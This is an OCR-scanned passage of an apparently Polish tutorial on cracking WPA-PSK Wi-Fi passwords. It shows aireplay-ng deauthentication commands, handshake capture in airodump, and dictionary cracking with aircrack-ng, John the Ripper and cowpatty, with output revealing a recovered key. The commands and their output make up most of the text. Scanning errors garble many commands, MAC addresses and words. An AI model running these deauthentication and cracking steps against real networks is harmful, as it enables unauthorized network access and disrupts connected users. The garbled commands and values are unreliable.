-0 2 -a $macap -c 00:90:4B:5B:69:DF raushl -
g for beacon frame (BSSID: 08:0C:41 51:6E) on channel 12
64 directed Defuth. STHMAC: [80:58 S5B:E9:DF] [ @] © ACKs]

64 directed Defuth. STMAC: [@0:90:4B:5B:89:DF] [ 8| @ ACKs]

Rysunek 24 Efekt dziatania polecenia aireplay-ng -0 2 —a Smacap —c 00:90:4B:5B:69:DF rausb0

Gdy uda nam si¢ przechwyci¢ ,,WPA handshake” zobaczymy to w airodumpie w prawym

gornym rogu

20



mc - /air/robocze - Shell - Konsole

ol Shell ok Shell No. 2 uff Shell No. 3

CH 12 ][ Elapsed: 5 mins ][ 2008-06-02 17:26@ [ WPA handshake: 00:0C:41:38:61:6E
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:41:38:61:6E 92 70 1774 26961 42 12 54. WPA TKIP PSK Projekt
BSSID STATION PWR Rate Lost Packets Probes

00:0C:41:38:61:6E 00:90:4B:5B:69:DF 83 54-48 208 27135

Rysunek 25 Przechwycenie WPA handshake

Czasami zdarza si¢ ze pomimo iz airodump pokazuje WPA handshake tak nie jest, dlatego

musimy ponownie uzy¢ polecenia
aireplay-ng -0 2 —a $macap -c 00:0c:41:38:61:6e rausbO

Teraz majac juz ,,WPA handshake” mozemy przystapi¢ do tamania hasta ale wcze$niej musimy

sobie stworzy¢ stownik, mozemy uzy¢ w tym celu programu John the ripper.

aircrack-ng —-w password.lst -b $macap psk*.cap
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Shell No. 2 - Konsol

& Shell | & ShellNo. 2 | & Shell No. 3

Aircrack-ng 1.0 beta2

[00:00:01] 232 keys tested (177.55 k/s)

KEY FOUND! [ qazwsxedcrfvtgbyhnujmikol ]
Master Key : B5 6A CD FE 3F 8C 16 67 80 90 7A 4C EF DO 6C
D9 99 7A 78 17 D2 E8 22 41 25 E2 68 9B 55 32
Transcient Key : 4E 98 D3 21 FC 68 80 62 99 60 39 95 B7 A2 Al
78 7B BE 25 29 SE E1 3E 5B ED 7C 1A E3 30 98
9B 80 9B FB 5C S9A 1E CC 24 7D 4F D6 42 DC 34

78 15 FD 71 C6 72 B8 F9 D3 EO C4 8A 82 5D 41

EAPOL HMAC : 32 8B 5A 8B 80 19 E7 CF 99 47 FA B6 99 2B 40

Rysunek 26 Efekt dziatania polecenia aircrack-ng —w password.Ist —b Smacap psk*.cap

Uzycie tamacza haset John the riiper oraz cowpatty

john --wordlist=password.lst --rules --stdout | cowpatty -s
Projekt -f - -r psk*.cap

Uzycie tamacza haset John the ripper oraz aircrack-ng:

john --wordlist=password.lst --rules --stdout | aircrack-ng -e
Projekt -w - psk*.cap

Nie udalo mi si¢ natomiast ztama¢ hasla, ktorego nie mialem w slowniku uzytego do
lamania hasel WPA/WPA2.
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word. 1st --rules --stdout | cowp

john-1.7.2/run/john --wordlist=pa

-ojekt -f - -r pa y-01.cap
WPA-PSK dictionary attack. <jwright@hasborg.com=

cowpatty 3.0 -
red all ne assphrase.
ting dictionar
1 STDIN for words.,
no. 180: macintos
200: montreal

is "gazwsxedcrfv”,

Rysunek 27 Udane ztamanie hasta
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